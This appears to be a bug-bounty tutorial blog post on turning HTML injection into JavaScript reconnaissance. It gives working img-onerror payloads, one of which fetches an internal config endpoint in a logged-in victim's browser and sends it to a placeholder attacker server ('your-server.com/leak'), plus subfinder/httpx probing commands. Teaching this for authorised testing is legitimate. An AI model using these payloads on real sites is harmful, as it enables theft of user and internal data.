Ever been told that HTML Injection is a “low-risk” and mostly useless vulnerability? Well, it’s time for that myth to be busted.
What if you were told that a simple HTML injection could be used to uncover API keys, internal subdomains, and secret endpoints? This isn’t just theory; it’s a powerful method for JavaScript Reconnaissance (JS Recon).
Press enter or click to view image in full size
Modern websites are built on a complex web of JavaScript files. These files often contain hidden secrets. A simple HTML injection flaw can be used as a lens to focus on and extract those secrets, turning a minor bug into a major discovery.
This guide is designed to be beginner-friendly, based on real-world experience. Let’s walk through the process, step by step.
Not all injection points are created equal. The goal is to find a place where your input is reflected on the page and, crucially, where it will persist so that your JavaScript reconnaissance can work.
Ideal places to test are:
A classic test payload is:
<u>ThisTextIsUnderlined</u>
If the text appears underlined on the page, congratulations! HTML injection has been confirmed. The real work can now begin.
Forget flashy alert boxes. The most powerful payload is a simple one that steals secrets from the site’s own JavaScript.
This tag is your best friend:
<script src="https://your-server.com/collector.js"></script>
However, modern web security protections, such as Content Security Policy (CSP), often block remote scripts. This is where pure HTML shines.
A more reliable method is to use an img
tag with an onerror
handler. This technique often bypasses basic filters.
My go-to payload for manual analysis looks like this:
<img src=x onerror="
// Your investigation code will go here
">
This tag will try to load a broken image (src=x
), which fails and automatically triggers the code inside the onerror
attribute. It's a clever trick to execute JavaScript without a classic script
tag.
The website’s own JS files are a treasure map. You need to read them. Your injection payload can help you do that.
First, let’s see what JS files are loaded. This code snippet is placed inside the onerror
attribute. It collects all the JavaScript files on the page and sends their URLs back to you.
const scripts = Array.from(document.scripts);
const urls = scripts.map(script => script.src).filter(Boolean);
urls.forEach(url => {
new Image().src = 'https://your-server.com/log?js_url=' + encodeURIComponent(url);
});
What you’re looking for:
api-internal.corporate.com
, dev.admin.corporate.com
)./api/v1/admin/users
).This is the core of JS Recon. You are letting the website show you its secrets.
Manual is great, but automation is key for bug bounty tips. Once you have a list of subdomains or endpoints from your JS analysis, you need to probe them.
1. Subdomain Enumeration: Tools like subfinder
and amass
are used to find more subdomains.
2. Probing with HTTPX: The httpx
tool is then used to check which ones are alive and gather information.
subfinder -d target.com | httpx -title -status-code -tech-detect -o live_subs.txt
This command finds subdomains and then probes them to get their page title, HTTP status code, and technology fingerprint.
Let’s say you found an internal endpoint: https://internal-api.target.com/v1/config
.
From your browser, this endpoint might be blocked. But what if you could make the victim’s browser access it for you? This is where your HTML injection becomes a powerful tool.
Your final payload could look like this:
<img src=x onerror="
fetch('https://internal-api.target.com/v1/config')
.then(response => response.text())
.then(data => {
new Image().src = 'https://your-server.com/leak?data=' + btoa(data);
})
.catch(err => console.log(err))
">
This code, executed in the context of the logged-in user’s browser, fetches the internal config file and sends it encoded in Base64 to your server.
Once, a simple injection was found in a user’s biography on a large platform. The standard <script>
tag was blocked.
However, an <img src=x onerror="...">
payload was not.
By using the manual JS analysis code, a JavaScript file was discovered that contained a link to an internal subdomain used for debugging: staging-admin.target.com
.
This subdomain was not listed in any public records. A quick check with HTTPX showed it was online. Even better, it had a weak login form. This finding was a critical part of a successful responsible disclosure report.
The vulnerability was reported, the company fixed the information leak, and a reward was earned — all starting from “just” an HTML injection.
HTML Injection is far from useless. It can be used as a gateway into advanced JavaScript Reconnaissance (JS Recon), helping to identify vulnerabilities like hidden API keys and internal subdomains. By using simple tags like <img onerror>
, manual JS analysis, and tools like HTTPX, a low-severity bug can be transformed into a critical finding. Always remember to practice ethical disclosure.
The line between programming and security research is very thin. Understanding how code works is the first step to understanding how to protect it.